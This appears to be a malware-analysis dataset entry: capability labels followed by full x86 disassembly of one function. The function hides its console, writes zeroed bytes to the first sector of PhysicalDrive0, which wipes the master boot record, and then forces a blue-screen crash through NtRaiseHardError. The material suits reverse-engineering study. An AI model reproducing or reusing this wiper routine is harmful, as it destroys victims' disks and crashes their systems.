Function at 0x401f60
Capabilities:
Hide graphical window
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40354a
mov eax, dword fs:[0]
push eax
sub esp, 0x248
mov eax, dword [0x406004]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov edx, 0x401f20
lea ecx, [ebp - 0x254]
call fcn.00402460
mov edx, eax
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x250]
call fcn.00402490
mov eax, dword [ebp - 0x254]
test eax, eax
je 0x401fd6
push 4
push eax
call fcn.004026e2
add esp, 8
mov edx, 0x401ec0
mov dword [ebp - 4], 1
lea ecx, [ebp - 0x214]
call fcn.00402460
mov edx, eax
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x248]
call fcn.00402490
mov eax, dword [ebp - 0x214]
test eax, eax
je 0x402013
push 4
push eax
call fcn.004026e2
add esp, 8
mov edx, 0x401e80
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x254]
call fcn.00402460
mov edx, eax
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x240]
call fcn.00402490
mov eax, dword [ebp - 0x254]
test eax, eax
je 0x40204d
push 4
push eax
call fcn.004026e2
add esp, 8
mov byte [ebp - 4], 5
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x3e8
call esi
call fcn.004011b0
mov edx, 0x4012d0
lea ecx, [ebp - 0x214]
call fcn.00402460
mov edx, eax
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x238]
call fcn.00402490
mov eax, dword [ebp - 0x214]
test eax, eax
je 0x402099
push 4
push eax
call fcn.004026e2
add esp, 8
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0x234]
test ecx, ecx
mov edi, dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
setne al
test al, al
jne 0x4020bf
push 1
call edi
mov ecx, dword [ebp - 0x234]
add esp, 4
push ecx
push dword [ebp - 0x238]
call dword [sym.imp.MSVCP140.dll__Thrd_detach]
mov ebx, dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
add esp, 8
test eax, eax
je 0x4020df
push eax
call ebx
add esp, 4
push 0x4e20
mov dword [ebp - 0x238], 0
mov dword [ebp - 0x234], 0
call esi
push 0x3e8
mov byte [0x406497], 1
call esi
call fcn.00401350
mov edx, 0x4014e0
lea ecx, [ebp - 0x254]
call fcn.00402460
mov edx, eax
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x230]
call fcn.00402490
mov eax, dword [ebp - 0x254]
test eax, eax
je 0x402143
push 4
push eax
call fcn.004026e2
add esp, 8
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x22c]
test ecx, ecx
setne al
test al, al
jne 0x402163
push 1
call edi
mov ecx, dword [ebp - 0x22c]
add esp, 4
push ecx
push dword [ebp - 0x230]
call dword [sym.imp.MSVCP140.dll__Thrd_detach]
add esp, 8
test eax, eax
je 0x40217d
push eax
call ebx
add esp, 4
push 0x4e20
mov dword [ebp - 0x230], 0
mov dword [ebp - 0x22c], 0
call esi
push 0x3e8
mov byte [0x406495], 1
call esi
call fcn.004015d0
mov edx, 0x4016f0
lea ecx, [ebp - 0x214]
call fcn.00402460
mov edx, eax
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x228]
call fcn.00402490
mov eax, dword [ebp - 0x214]
test eax, eax
je 0x4021e1
push 4
push eax
call fcn.004026e2
add esp, 8
mov byte [ebp - 4], 0xb
mov ecx, dword [ebp - 0x224]
test ecx, ecx
setne al
test al, al
jne 0x402201
push 1
call edi
mov ecx, dword [ebp - 0x224]
add esp, 4
push ecx
push dword [ebp - 0x228]
call dword [sym.imp.MSVCP140.dll__Thrd_detach]
add esp, 8
test eax, eax
je 0x40221b
push eax
call ebx
add esp, 4
push 0x4e20
mov dword [ebp - 0x228], 0
mov dword [ebp - 0x224], 0
call esi
push 0x3e8
mov byte [0x406494], 1
call esi
call fcn.004019c0
mov edx, 0x401c20
lea ecx, [ebp - 0x254]
call fcn.00402460
mov edx, eax
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x220]
call fcn.00402490
mov eax, dword [ebp - 0x254]
test eax, eax
je 0x40227f
push 4
push eax
call fcn.004026e2
add esp, 8
mov byte [ebp - 4], 0xd
mov eax, dword [ebp - 0x21c]
test eax, eax
jne 0x40229a
push 1
call edi
mov eax, dword [ebp - 0x21c]
add esp, 4
push eax
push dword [ebp - 0x220]
call dword [sym.imp.MSVCP140.dll__Thrd_detach]
add esp, 8
test eax, eax
je 0x4022b4
push eax
call ebx
add esp, 4
push 0x4e20
mov dword [ebp - 0x220], 0
mov dword [ebp - 0x21c], 0
call esi
push 0x200
lea eax, [ebp - 0x210]
mov byte [0x406496], 1
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0
push 0
push 3
push 0
push 3
push 0x10000000
push str..PhysicalDrive0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
lea eax, [ebp - 0x214]
push 0
push eax
push 0x200
lea eax, [ebp - 0x210]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.RtlAdjustPrivilege
push 0x404298
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
push str.NtRaiseHardError
push str.ntdll.dll
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call esi
mov esi, eax
lea eax, [ebp - 0x215]
push eax
push 0
push 1
push 0x13
call edi
lea eax, [ebp - 0x214]
push eax
push 6
push 0
push 0
push 0
push 0xc00002b4
call esi
cmp dword [ebp - 0x21c], 0
je 0x40238f
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
cmp dword [ebp - 0x224], 0
je 0x40239e
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
cmp dword [ebp - 0x22c], 0
je 0x4023ad
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
cmp dword [ebp - 0x234], 0
je 0x4023bc
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
cmp dword [ebp - 0x23c], 0
je 0x4023cb
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
cmp dword [ebp - 0x244], 0
je 0x4023da
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
cmp dword [ebp - 0x24c], 0
je 0x4023e9
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040269e
mov esp, ebp
pop ebp
ret